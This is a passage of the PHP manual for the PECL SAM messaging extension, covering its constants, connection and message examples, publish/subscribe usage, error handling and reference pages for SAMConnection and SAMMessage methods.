Connect attribute value used to request messages are made persistent on the messaging server to protect against loss of messages in the event of failure.
SAM_PORT (string)
Connect attribute used to set the port number on which to communicate with the messaging server.
SAM_PRIORITY (string)
Option name used on send requests to specify a delivery priority value.
SAM_REPLY_TO (string)
Message property used to specify the queue identity on to which the script expects response or reply messages to be posted.
SAM_RTT (string)
Connect protocol definition for selecting the IBM Realtime Transport protocol for communication with a business integration messaging server.
SAM_STRING (string)
Type specifier used when setting properties on SAM_Message objects.
SAM_TARGETCHAIN (string)
Connection attribute used to set the required target chain identifier.
SAM_TEXT (string)
Message body type descriptor.
SAM_TIMETOLIVE (string)
Message send option name used to specify the length of time a message should be retained in milliseconds.
SAM_TRANSACTIONS (string)
Connection attribute used to set required transactional behaviour. May be set to SAM_AUTO (default) or SAM_MANUAL.
SAM_USERID (string)
Connect attribute used to define the account to being used to connect to a messaging server that requires authorisation for connections.
SAM_WAIT (string)
Receive property used to specify the wait timeout to be used when receiving a message from a queue or subscription.
SAM_WMQ (string)
Connect protocol definition for selecting the IBM WebSphere MQSeries protocol for communication with the desired messaging server.
SAM_WMQ_BINDINGS (string)
Connect protocol definition for selecting the IBM WebSphere MQSeries protocol for communication with a local messaging server.
SAM_WMQ_CLIENT (string)
Connect protocol definition for selecting the IBM WebSphere MQSeries protocol for communication with a remote messaging server.
SAM_WMQ_TARGET_CLIENT (string)
Option name used on send requests to specify the target client mode. This can either be default to 'jms' or 'mq'. The default is 'jms' which means an RFH2 header is sent with the message whereas the 'mq' setting means no RFH2 is included.
SAM_WPM (string)
Connect protocol definition for selecting the IBM WebSphere Platform Messaging protocol for communication with a WebSphere Application Server messaging server.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
SAM


Examples

Table of Contents

  • Connections
  • Messages
  • Messaging operations
  • Publish/Subscribe and subscriptions to topics
  • Error handling

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Connections
SAM


Connections

In order to perform any messaging and queueing functions a connection must be established with a messaging server by creating a SAMConnection object and calling its "connect" method, with a set of connection properties, to connect the PHP script to the messaging server. Until such time as the SAMConnection object is destroyed the connection will be maintained and available for use. All SAMConnection objects are destroyed when the PHP script exits.

A set of default properties may be used in connecting to a messaging server but as a minimum the PHP script must specify a protocol to be used.

Example #1 Creating a connection and connecting to a remote WebSphere MQSeries Messaging Server

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => 'myhost.mycompany.com',
                              SAM_PORT => 1506,
                              SAM_BROKER => 'mybroker'));
?>

Example #2 Creating a connection and connecting to a remote WebSphere Application Server

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WPM, array(SAM_ENDPOINTS => 'localhost:7278:BootstrapBasicMessaging',
                              SAM_BUS => 'Bus1',
                              SAM_TARGETCHAIN => 'InboundBasicMessaging'));
?>

Example #3 Creating a connection and connecting to an MQTT server

<?php
$conn = new SAMConnection();
$conn->connect(SAM_MQTT, array(SAM_HOST => 'myhost.mycompany.com',
                               SAM_PORT => 1883));
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Messages
Examples


Messages

Messages sent to and received from queues are represented by the SAMMessage object. The SAMMessage object encapsulates the body of the message (if one exists) and the header properties associated with the message. A SAMMessage object is either supplied as a parameter to a messaging operation or returned as a result.

Example #1 Creating a message with a simple text body

<?php
$msg = new SAMMessage('This is a simple text message');
?>

Messages may have header properties associated with them that provide control over the transport of the message or further information to the receiving application. By default message properties are delivered to the underlying messaging system as strings and in this case they may be set with the following simple syntax:

Example #2 Setting a text format property using the default syntax

<?php
$msg->header->myPropertyName = 'textData';
?>

If it is desired to pass type information an alternative syntax may be used where the value and the type hint are passed in an associative array:

Example #3 Setting a property using a type hint

<?php
$msg->header->myPropertyName = array(3.14159, SAM_FLOAT);
?>

Properties may also be extracted from the header of a message.

Example #4 Retrieving a property from a message header

<?php
$myProperty = $msg->header->myPropertyName;
?>

User Contributed Notes

There are no user contributed notes for this page.
Connections
Messaging operations
Examples


Messaging operations

All messaging operations are performed through calls to methods on the connection object. To add a message to a queue the "send" method is used, to obtain a message from a queue the "receive" method is used. Other methods provide publish and subscribe functionality and control of transaction boundaries.

Example #1 Adding a message to a queue and receiving a response

<?php
$msg = new SAMMessage('This is a simple text message');
$msg->header->SAM_REPLY_TO = 'queue://receive/test';
$correlid = $conn->send('queue://send/test', $msg);

if (!$correlid) {
  // The Send failed!
  echo "Send failed ($conn->errno) $conn->error";
} else {
  $resp = $conn->receive('queue://receive/test', array(SAM_CORRELID => $correlid));
}
?>

User Contributed Notes

a dot hoyau at silexlabs dot org 23-Aug-2011 04:27
Hello

I think that most people people coming here are looking to do this on client side, in client/server web applications

Sam is not made for this, but to connect servers together - systems in fact. See http://project-sam.awardspace.com/overview.htm

Since PHP is stateless it is really hard to do collaborative applications with a PHP back-end and very few solutions exist. So, for those looking for this, I put here a link to a messaging server in PHP - free open source and community driven: http://php-polling.sourceforge.net/

Hoping this will make you save time!
Messages
Publish/Subscribe and subscriptions to topics
Examples


Publish/Subscribe and subscriptions to topics

SAM allows messages to be sent either to queues or, for WebSphere MQ and WPM, to publish/subscribe topics. A topic destination is specified to SAM in the usual way, i.e. in the form 'topic://fred', rather than the form 'queue://AQUEUE' used for point to point operation. To use publish/subscribe it is simply necessary to specify the correct broker name on the SAMConnect "connect" call and the desired topic in the destination argument to the SAMConnect "send" and "receive" calls. The PHP interface is otherwise identical to the point to point model.

By default, SAM creates non-durable subscriptions when using publish/subscribe. This means that if a client application is inactive when messages are published to a topic, then it will not receive them when it subsequently restarted. SAM does also allow durable subscriptions to be made to topics when using WPM or WebSphere MQ publish/subscribe. The purpose of these subscriptions is to allow data to be received by a client application even if that client was not active at the time the data was published.

Durable subscriptions are specified by using the SAMConnect "subscribe" call. This method takes the destination topic as an input parameter and returns a subscription identifier that may be used on subsequent "receive" calls. When the subscription is no longer required the SAMConnection "unsubscribe" method should be used to delete the subscription.

Example #1 Creating a durable subscription to a topic

<?php

$subName = $conn->subscribe('topic://A');

if (!$subName) {
   echo "Subscribe failed";
} else {
   # Subscribe was OK
   // ...
}
?>

Example #2 Subscribing to a topic using a WebSphere Platform Messaging (WPM) server

<?php
$conn = new SAMConnection();
// Note: For pub/sub on WPM, when connecting the name of a messaging engine
//   to hold the durable subscription (SAM_WPM_DUR_SUB_HOME) must be specified.
$conn->connect(SAM_WMQ, array(SAM_ENDPOINTS => 'localhost:7278:BootstrapBasicMessaging',
                              SAM_BUS => 'Bus1',
                              SAM_TARGETCHAIN => 'InboundBasicMessaging',
                              SAM_WPM_DUR_SUB_HOME => 'MyMachineNode01.server1-Bus1'));

$subName = $conn->subscribe('topic://A');

if (!$subName) {
   echo "Subscribe failed";
} else {
   # Subscribe was OK
   // ...
}
?>

Example #3 Receiving published data using a durable subscription

<?php

$msg = $conn->receive($subName);
if ($msg) {
   echo "Received a message OK";
} else {
   echo "The receive failed";
}

?>

Example #4 Deleting a durable subscription to a topic

<?php

if (!$conn->unsubscribe($subName)) {
   echo "Unsubscribe failed";
}

?>

User Contributed Notes

There are no user contributed notes for this page.
Messaging operations
Error handling
Examples


Error handling

All SAMConnection methods that provide access to messaging operations return FALSE if an error occurred in processing the request. In addition the SAMConnection object has two properties, "errno" and "error", that provide respectively the error number and text description of the last error to occur on the connection.

Example #1 Handling an error from a method that returns no result

<?php
if (!$conn->commit()) {
    // The commit failed!
    echo "Commit failed ($conn->errno) $conn->error";
}
?>

Example #2 Handling an error from a method that returns a result

<?php
$correlid = $conn->send('queue://send/test', $msg);

if (!$correlid) {
  // The Send failed!
  echo "Send failed ($conn->errno) $conn->error";
} else {
  /* ... */
}
?>

User Contributed Notes

There are no user contributed notes for this page.
Publish/Subscribe and subscriptions to topics
SAM Functions
Examples


SAM Functions

Predefined Classes

SAMConnection

Object representing a connection to a Messaging Server

Constructor

  • new SAMConnection - construct a new connection object to allow connection to a messaging infrastructure.

Methods

  • commit - a method that commits (successfully completes) an in-flight unit of work.

  • connect - a method that connects a PHP script to a messaging server.

  • disconnect - a method that disconnects a PHP script from a messaging server.

  • isConnected - a method that checks whether a PHP script is connected to a messaging server.

  • peek - a method that receives a message from a queue without removing it from the queue.

  • peekAll - a method that receives one or messages from a queue without removing them from the queue.

  • receive - a method that receives a message from a queue or subscription.

  • remove - a method that removes a message from a queue.

  • rollback - a method that cancels (rolls back) an in-flight unit of work.

  • send - a method that sends a message to a queue or posts to a topic

  • setDebug - a method that switches additional debugging output on or off

  • subscribe - a method that creates a subscription to one or more topics

  • unsubscribe - a method that destroys a subscription to one or more topics

Properties

  • errno - the numeric error code for the last encountered error on this connection. This property is set to 0 if the last operation was successful.

  • error - the text description for the last encountered error on this connection

SAMMessage

Object representing a message to be sent or received

Constructor

  • new SAMMessage - construct a new message.

Properties

  • body - the body of the message.

  • header - the header properties of the message.

Table of Contents

  • SAMConnection::commit — Commits (completes) the current unit of work.
  • SAMConnection::connect — Establishes a connection to a Messaging Server
  • SAMConnection::__construct — Creates a new connection to a Messaging Server
  • SAMConnection::disconnect — Disconnects from a Messaging Server
  • SAMConnection::errno — Contains the unique numeric error code of the last executed SAM operation.
  • SAMConnection::error — Contains the text description of the last failed SAM operation.
  • SAMConnection::isConnected — Queries whether a connection is established to a Messaging Server
  • SAMConnection::peek — Read a message from a queue without removing it from the queue.
  • SAMConnection::peekAll — Read one or more messages from a queue without removing it from the queue.
  • SAMConnection::receive — Receive a message from a queue or subscription.
  • SAMConnection::remove — Remove a message from a queue.
  • SAMConnection::rollback — Cancels (rolls back) an in-flight unit of work.
  • SAMConnection::send — Send a message to a queue or publish an item to a topic.
  • SAMConnection::setDebug — Turn on or off additional debugging output.
  • SAMConnection::subscribe — Create a subscription to a specified topic.
  • SAMConnection::unsubscribe — Cancel a subscription to a specified topic.
  • SAMMessage::body — The body of the message.
  • SAMMessage::__construct — Creates a new Message object
  • SAMMessage::header — The header properties of the message.

User Contributed Notes

There are no user contributed notes for this page.
Error handling
SAMConnection::commit
SAM


Commits (completes) the current unit of work.

SAM Functions
SAMConnection::connect
SAM Functions
PHP Manual

SAMConnection::commit

(PECL sam >= 0.1.0)

SAMConnection::commit — Commits (completes) the current unit of work.

Description

bool SAMConnection::commit ( void )

Calling the "commit" method on a Connection object commits (completes) all in-flight transactions that are part of the current unit of work.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Committing the current unit of work

<?php
  if (!$conn->commit()) {
    // The commit failed!
    echo "Commit failed ($conn->errno) $conn->error";
  }
?>

See Also

  • SAMConnection::rollback

User Contributed Notes

There are no user contributed notes for this page.
SAM Functions
SAMConnection::connect
SAM Functions


Establishes a connection to a Messaging Server

SAMConnection::commit
SAMConnection::__construct
SAM Functions
PHP Manual

SAMConnection::connect

(PECL sam >= 0.1.0)

SAMConnection::connect — Establishes a connection to a Messaging Server

Description

bool SAMConnection::connect ( string $protocol [, array $properties ] )

Calling the "connect" method on a SAMConnection object connects the PHP script to a messaging server. No messages can be sent or received until a connection is made.

Parameters

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Creating a connection to a Messaging Server using the IBM MQSeries protocol (WMQ)

<?php

$conn->connect(SAM_WMQ, array(SAM_HOST => 'Myhost.myco.com', SAM_PORT => 1506, SAM_BROKER => 'MyBroker'));

?>

Example #2 Creating a connection with application transaction control and default host and port values

<?php

$conn->connect(SAM_WMQ, array(SAM_BROKER => 'MyBroker', SAM_TRANSACTIONS => SAM_MANUAL));

?>

Example #3 Creating a connection to a Messaging Server using the IBM WebSphere Platform Messaging protocol (WPM)

<?php

$conn->connect(SAM_WPM, array(SAM_ENDPOINTS => 'localhost:7278:BootstrapBasicMessaging',
                              SAM_BUS => 'Bus1', SAM_TARGETCHAIN => 'InboundBasicMessaging'));

?>

See Also

  • SAMConnection::isConnected
  • SAMConnection::disconnect

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::commit
SAMConnection::__construct
SAM Functions


Creates a new connection to a Messaging Server

SAMConnection::connect
SAMConnection::disconnect
SAM Functions
PHP Manual

SAMConnection::__construct

(PECL sam >= 0.1.0)

SAMConnection::__construct — Creates a new connection to a Messaging Server

Description

SAMConnection::__construct() ( void )

Creates a new SAMConnection object.

Examples

Example #1 Creating a connection object and connecting to a Messaging Server

<?php

$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => localhost, SAM_PORT => 1414, SAM_BROKER => 'bull'));

?>

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::connect
SAMConnection::disconnect
SAM Functions


Disconnects from a Messaging Server

SAMConnection::__construct
SAMConnection::errno
SAM Functions
PHP Manual

SAMConnection::disconnect

(PECL sam >= 0.1.0)

SAMConnection::disconnect — Disconnects from a Messaging Server

Description

bool SAMConnection::disconnect ( void )

Calling the "disconnect" method on a SAMConnection object disconnects the PHP script from a messaging server. No messages can be sent or received after a connection has been disconnected.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Disconnecting from a Messaging Server

<?php

$conn->disconnect();

?>

See Also

  • SAMConnection::isConnected
  • SAMConnection::connect

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::__construct
SAMConnection::errno
SAM Functions


Contains the unique numeric error code of the last executed SAM operation.

SAMConnection::disconnect
SAMConnection::error
SAM Functions
PHP Manual

SAMConnection::errno

(PECL sam >= 0.1.0)

SAMConnection::errno — Contains the unique numeric error code of the last executed SAM operation.

Description

int $SAMConnection->errno;

Contains the numeric error code of the last executed SAM operation on this connection. If the last operation completed successfully this property contains 0.

Return Values

An integer greater than zero indicates the last error type encountered on the connection. Zero indicates that the last operation on this connection completed successfully.

Examples

Example #1 Using the error number and description properties

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => 'localhost', SAM_PORT => 1506));
$msg = new SAMMessage('This is a simple text item');
if (!$conn->send('topic://test', $msg)) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::error

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::disconnect
SAMConnection::error
SAM Functions


Contains the text description of the last failed SAM operation.

SAMConnection::errno
SAMConnection::isConnected
SAM Functions
PHP Manual

SAMConnection::error

(PECL sam >= 0.1.0)

SAMConnection::error — Contains the text description of the last failed SAM operation.

Description

string $SAMConnection->error;

Contains the text description of the last failed SAM operation on this connection. If the last operation completed successfully this property contains an empty string.

Return Values

A string containing the text description of the last error type encountered on the connection. An empty string indicates that the last operation on this connection completed successfully.

Examples

Example #1 Using the error number and description properties

<?php
$conn = new SAMConnection();
$conn->connect(SAM_WMQ, array(SAM_HOST => 'localhost', SAM_PORT => 1506));
$msg = new SAMMessage('This is a simple text item');
if (!$conn->send('topic://test', $msg)) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::errno

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::errno
SAMConnection::isConnected
SAM Functions


Queries whether a connection is established to a Messaging Server

SAMConnection::error
SAMConnection::peek
SAM Functions
PHP Manual

SAMConnection::isConnected

(PECL sam >= 0.1.0)

SAMConnection::isConnected — Queries whether a connection is established to a Messaging Server

Description

bool SAMConnection::isConnected ( void )

Calling the "isConnected" method on a Connection object will check whether the PHP script is connected to a messaging server. No messages can be sent or received unless a connection has been established with a Messaging server.

Return Values

This method returns TRUE if the SAMConnection object is successfully connected to a Messaging server or FALSE otherwise.

Examples

Example #1 Checking whether there us a connection to a Messaging Server

<?php

if ($conn->isConnected()) {
  echo 'Connection is active.';
} else {
  echo 'No active connection!';
}

?>

See Also

  • SAMConnection::disconnect
  • SAMConnection::connect

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::error
SAMConnection::peek
SAM Functions


Read a message from a queue without removing it from the queue.

SAMConnection::isConnected
SAMConnection::peekAll
SAM Functions
PHP Manual

SAMConnection::peek

(PECL sam >= 0.1.0)

SAMConnection::peek — Read a message from a queue without removing it from the queue.

Description

SAMMessage SAMConnection::peek ( string $target [, array $properties ] )

Parameters

target

The identity of the queue from which to peek the message.

properties

An optional associative array of properties describing other parameters to control the peek operation.

Property name | Possible values
SAM_CORRELID | This is the target correlation id string of the message. This would typically have been returned by a "send" request.
SAM_MESSAGEID | This is the message id string of the message which is to be peeked.

Return Values

This method returns a SAMMessage object or FALSE if an error occurs.

Examples

Example #1 Retrieve the next message from a queue without removing it

<?php
$msg = $conn->peek('queue://receive/test');

if (!$msg) {
  // The peek failed!
  echo "Peek failed ($conn->errno) $conn->error";
}
?>

Example #2 Retrieve a specific message from a queue without removing it from the queue

<?php

$msg = $conn->peek('queue://receive/test', array(SAM_MESSAGEID => $messageId));

?>

See Also

  • SAMConnection::peekAll

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::isConnected
SAMConnection::peekAll
SAM Functions


Read one or more messages from a queue without removing it from the queue.

SAMConnection::peek
SAMConnection::receive
SAM Functions
PHP Manual

SAMConnection::peekAll

(PECL sam >= 0.2.0)

SAMConnection::peekAll — Read one or more messages from a queue without removing it from the queue.

Description

array SAMConnection::peekAll ( string $target [, array $properties ] )

Parameters

target

The identity of the queue from which messages should be peeked.

properties

An optional associative array of properties describing other parameters to control the peek operation.

Property name | Possible values
SAM_CORRELID | This is the target correlation id string of messages to be peeked. This would typically have been returned by a "send" request.
SAM_MESSAGEID | This is the message id string of a message which is to be peeked.

Return Values

This method returns an array of SAMMessage objects or FALSE if an error occurs.

Examples

Example #1 Retrieve all messages in a queue without removing them

<?php
$msgArray = $conn->peekAll('queue://receive/test');
if ($msgArray) {
   foreach ( $msgArray as $key => $msg) {
       echo "Message $key: body = $msg->body\n";
   }
} else {
   echo "PeekAll failed ($conn->errno) $conn->error";
}
?>

Example #2 Retrieve all messages from a queue with a matching correlation id

<?php

   $msgArray = $conn->peekAll('queue://receive/test', array(SAM_CORRELID => $correlId ));
   if ($msgArray) {

      foreach ( $msgArray as $key => $msg) {
            echo "Message $key: body = $msg->body\n";
         }
   } else {
      echo "PeekAll failed ($conn->errno) $conn->error";
   }

?>

See Also

  • SAMConnection::peek

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::peek
SAMConnection::receive
SAM Functions


Receive a message from a queue or subscription.

SAMConnection::peekAll
SAMConnection::remove
SAM Functions
PHP Manual

SAMConnection::receive

(PECL sam >= 0.1.0)

SAMConnection::receive — Receive a message from a queue or subscription.

Description

SAMMessage SAMConnection::receive ( string $target [, array $properties ] )

Parameters

target

The identity of the queue, topic or subscription from which to receive the message.

properties

An optional associative array of properties describing other parameters to control the receive operation.

Property name | Possible values
SAM_CORRELID | Used to request selection of the message to receive based upon the correlation id string of the message.
SAM_MESSAGEID | Used to request selection of the message to receive based upon the message id string of the message.
SAM_WAIT | Timeout value in milliseconds to control how long the request should block waiting to receive a message before returning with a failure if no message is available on the queue or topic. The default value is 0 meaning wait indefinitely and should be used with caution as the request may wait until the overall PHP script processing time limit has expired if no message becomes available.

Return Values

This method returns a SAMMessage object or FALSE if an error occurs.

Examples

Example #1 Receiving a message from a queue

<?php
$msg = $conn->receive('queue://receive/test');

if (!$msg) {
  // The receive failed!
  echo "Receive failed ($conn->errno) $conn->error";
}
?>

Example #2 Receiving a message from a queue with options

In this example the SAM_CORRELID option is used to specify a correlation id string to be used to identify the message to receive. A wait timeout of 10 seconds is also specified.

<?php

$msg = $conn->receive('queue://receive/test', array(SAM_CORRELID => $token, SAM_WAIT => 10000));

?>

Example #3 Receiving a message from a subscription

In this example we show how to receive a message from a subscription id.

<?php
$msg = $conn->receive($subscriptionName);

if (!$msg) {
  // The receive failed!
  echo "Receive failed ($conn->errno) $conn->error";
}
?>

Please note that $subscriptionName is a subscription id returned from an earlier subscribe call.

See Also

  • SAMConnection::send

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::peekAll
SAMConnection::remove
SAM Functions


Remove a message from a queue.

SAMConnection::receive
SAMConnection::rollback
SAM Functions
PHP Manual

SAMConnection::remove

(PECL sam >= 0.1.0)

SAMConnection::remove — Remove a message from a queue.

Description

SAMMessage SAMConnection::remove ( string $target [, array $properties ] )

Removes a message from a queue.

Parameters

target

The identity of the queue from which to remove the message.

properties

An optional associative array of properties describing other parameters to control the remove operation.

Property name | Possible values
SAM_CORRELID | This is the target correlation id string of the message. This would typically have been returned by a "send" request.
SAM_MESSAGEID | This is the message id string of the message which is to be removed.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Removing a message from a queue by message id

<?php
if (!$conn->remove('queue://receive/test', array(SAM_MESSAGEID => $messageId))) {
  // The remove failed!
  echo "Remove failed ($conn->errno) $conn->error";
}
?>

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::receive
SAMConnection::rollback
SAM Functions


Cancels (rolls back) an in-flight unit of work.

SAMConnection::remove
SAMConnection::send
SAM Functions
PHP Manual

SAMConnection::rollback

(PECL sam >= 0.1.0)

SAMConnection::rollback — Cancels (rolls back) an in-flight unit of work.

Description

bool SAMConnection::rollback ( void )

Rolls back an in-flight unit of work.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Cancelling an in-flight unit of work

<?php
if (!$conn->rollback()) {
  // The rollback failed!
  echo "Rollback failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::commit

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::remove
SAMConnection::send
SAM Functions


Send a message to a queue or publish an item to a topic.

SAMConnection::rollback
SAMConnection::setDebug
SAM Functions
PHP Manual

SAMConnection::send

(PECL sam >= 0.1.0)

SAMConnection::send — Send a message to a queue or publish an item to a topic.

Description

string SAMConnection::send ( string $target , SAMMessage $msg [, array $properties ] )

The "send" method is used to send a message to a specific queue or to publish to a specific topic. The method returns a correlation id that can be used as a selector to identify reply or response messages when these are requested.

Parameters

target

If sending a message, the identity of the queue (queue://queuename) or if publishing to a topic the identity of the topic (topic://topicname) to which the message is to be delivered.

msg

The message to be sent or published.

properties

An optional associative array of properties describing other parameters to control the receive operation.

Property name | Possible values
SAM_DELIVERYMODE | Indicates whether the messaging server should ensure delivery or whether it is acceptable for messages to be lost in the case of system failures. The value of this property may be set to either SAM_PERSISTENT, to indicate that message loss is not acceptable, or SAM_NON_PERSISTENT, if message loss is acceptable. The resulting behaviour of the send will vary depending on the capabilities of the messaging server the PHP script is currently connected to. If the server does not support persistent messages and SAM_PERSISTENT is specified the send request will fail with an error indication showing the capability is not available.
SAM_PRIORITY | A numeric value between 0 and 9 indicating the desired message delivery priority. A priority value of 0 indicates the lowest priority while 9 indicates highest priority. If no priority is specified a default will be assigned which is dependent on the messaging server being used.
SAM_CORRELID | A string to be assigned as a correlation id for this message. If no value is given the messaging server may assign a value automatically.
SAM_TIMETOLIVE | A time in milliseconds indicating how long the messaging server should retain the message on a queue before discarding it. The default value is 0 indicating the message should be retained indefinitely.
SAM_WMQ_TARGET_CLIENT | This property is only valid when using WebSphere MQ and indicates whether or not an RFH2 header should be included with the message. This option may be set to either 'jms' or 'mq'. The default is 'jms' which means that an RFH2 header is included. If the value 'mq' is specified then no RFH2 is included with the message.

Return Values

A correlation id string that can be used in a subsequent receive call as a selector to obtain any reply or response that has been requested or FALSE if an error occurred.

Note:

A correlation id will only be returned for a successful send to a queue destination (queue://xxxx) in which case it will reflect the message identity of the message on the queue. In the case of a send being used to publish data to a topic the return value will be TRUE as no correlation id is available for return.

Examples

Example #1 Send a message to a queue

<?php
$msg = new SAMMessage('This is a simple text message');
$correlId = $conn->send('queue://send/test', $msg);
if (!$correlId) {
    // The send failed!
    echo "Send failed ($conn->errno) $conn->error";
}

?>

Example #2 Publish a message to a topic

<?php
$msg = new SAMMessage('This is a simple text item');
if (!$conn->send('topic://test', $msg)) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
}
?>

Example #3 Send a request and receive a response

<?php
$msg = new SAMMessage('This is a simple text message');
$msg->header->SAM_REPLY_TO = 'queue://receive/test';
$correlid = $conn->send('queue://send/test', $msg);

if (!$correlid) {
    // The Send failed!
    echo "Send failed ($conn->errno) $conn->error";
} else {
    $resp = $conn->receive('queue://receive/test', array(SAM_CORRELID => $correlid));
}
?>

See Also

  • SAMConnection::receive

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::rollback
SAMConnection::setDebug
SAM Functions


Turn on or off additional debugging output.

SAMConnection::send
SAMConnection::subscribe
SAM Functions
PHP Manual

SAMConnection::setDebug

(PECL sam >= 1.1.0)

SAMConnection::setDebug — Turn on or off additional debugging output.

Description

The "setdebug" method is used to turn on or off additional debugging output. The SAM framework will provide method/function entry and exit trace data plus additional information. Protocol specific implementations also provide extra output.

void SAMConnection::setDebug ( bool $switch )

Parameters

switch

If this parameter is set to TRUE additional debugging output will be provided. If the value is set to FALSE output of additional information will be stopped.

Return Values

No value is returned.

Examples

Example #1 Turn on debugging output

<?php
$conn->setdebug(TRUE);
?>

Example #2 Turn off debugging output

<?php
$conn->setdebug(FALSE);
?>

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::send
SAMConnection::subscribe
SAM Functions


Create a subscription to a specified topic.

SAMConnection::setDebug
SAMConnection::unsubscribe
SAM Functions
PHP Manual

SAMConnection::subscribe

(PECL sam >= 0.1.0)

SAMConnection::subscribe — Create a subscription to a specified topic.

Description

string SAMConnection::subscribe ( string $targetTopic )

The "subscribe" method is used to create a new subscription to a specified topic.

Parameters

targetTopic

The identity of the topic (topic://topicname) to subscribe to.

Return Values

A subscription identifier that can be used in a subsequent receive call as a selector to obtain any topic data or FALSE if an error occurred. The subscription identifier should be used in the receive call in place of the simple topic name.

Examples

Example #1 Subscribe to a topic

<?php
$subid = $conn->subscribe('topic://A');
if (!$subid) {
  // The subscribe failed!
  echo "Subscribe failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::unsubscribe

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::setDebug
SAMConnection::unsubscribe
SAM Functions


Cancel a subscription to a specified topic.

SAMConnection::subscribe
SAMMessage::body
SAM Functions
PHP Manual

SAMConnection::unsubscribe

(PECL sam >= 0.1.0)

SAMConnection::unsubscribe — Cancel a subscription to a specified topic.

Description

bool SAMConnection::unsubscribe ( string $subscriptionId [, string $targetTopic ] )

The "unsubscribe" method is used to delete an existing subscription to a specified topic.

Parameters

subscriptionId

The identifier of an existing subscription as returned by a call to the subscribe method.

Return Values

This method returns FALSE if an error occurs.

Examples

Example #1 Delete a subscription

<?php
if (!$conn->unsubscribe($subid)) {
    // The unsubscribe failed!
    echo "Unsubscribe failed ($conn->errno) $conn->error";
}
?>

See Also

  • SAMConnection::subscribe

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::subscribe
SAMMessage::body
SAM Functions


The body of the message.

SAMConnection::unsubscribe
SAMMessage::__construct
SAM Functions
PHP Manual

SAMMessage::body

(PECL sam >= 0.1.0)

SAMMessage::body — The body of the message.

Description

string $SAMMessage->body;

The "body" property contains the actual body of the message. It may not always be set.

Examples

Example #1 Setting a text string into the body of a message

<?php
$msg = new SAMMessage();
$msg->body = 'This is a simple message';

?>

See Also

  • SAMMessage::header

User Contributed Notes

There are no user contributed notes for this page.
SAMConnection::unsubscribe
SAMMessage::__construct
SAM Functions


Creates a new Message object

SAMMessage::body
SAMMessage::header
SAM Functions
PHP Manual

SAMMessage::__construct

(PECL sam >= 0.1.0)

SAMMessage::__construct — Creates a new Message object

Description

SAMMessage::__construct() ([ mixed $body ] )

Creates a new SAMMessage object optionally specifying a message body.

Parameters

body

The optional body for the message.

Examples

Example #1 Creating a message

<?php

$msg = new SAMMessage();

?>

Example #2 Creating a message with a simple text payload

<?php

$msg = new SAMMessage('This is a simple text message');

?>

User Contributed Notes

There are no user contributed notes for this page.
SAMMessage::body
SAMMessage::header
SAM Functions


The header properties of the message.

SAMMessage::__construct
SNMP
SAM Functions
PHP Manual

SAMMessage::header

(PECL sam >= 0.1.0)

SAMMessage::header — The header properties of the message.

Description

object $SAMMessage->header;

The header property is a container for any system or user properties that area associated with the message.

Properties may be assigned by the sender of a message to control the way the messaging systems handles it or may be assigned by the messaging system itself to tell the recipient extra information about the message or the way in which it has been handled.

Some properties are understood by SAM in which case constants have been defined for them. The majority of properties however are ignored by the SAM implementation and simply passed through to the underlying messaging systems allowing the application to use messaging specific property names or to define its own "user" properties.

The SAM defined properties are as follows:

Property name | Possible values
SAM_MESSAGEID | When a message is received this field contains the unique identifier of the message as allocated by the underlying messaging system. When sending a message this field is ignored.
SAM_REPLY_TO | A string providing the identity of the queue on to which responses to this message should be posted.
SAM_TYPE

An indication of the type of message to be sent. The value may be SAM_TEXT indicating the contents of the message body is a text string, or SAM_BYTES indicating the contents of the message body are some application defined format.

The way in which this property is used may depend on the underlying messaging server. For instance a messaging server that supports the JMS (Java Message Service) specification may interpret this value and send messages of type "jms_text" and "jms_bytes". In addition, if the SAM_TYPE property is set to SAM_TEXT the data provided for the message body is expected to be a UTF8 encoded string.

When setting the values of properties it is often useful to give a hint as to the format in which the property should be delivered to the messaging system. By default property values are delivered as text and the following simple syntax may be used to set a value:

Example #1 Setting a text format property using the default syntax

<?php
$msg = new SAMMessage();

$msg->header->myPropertyName = 'textData';
?>

If it is desired to pass type information an alternative syntax may be used where the value and the type hint are passed in an associative array:

Example #2 Setting a text format property using a type hint

<?php
$msg = new SAMMessage();

$msg->header->myPropertyName = array('textData', SAM_STRING);
?>

When passing a type hint the type entry should be one of the SAM defined constant values as defined by the following table:

Constant | Type description
SAM_BOOLEAN | Any value passed will be interpreted as logical true or false. If the value cannot be interpreted as a PHP boolean value the value passed to the messaging system is undefined.
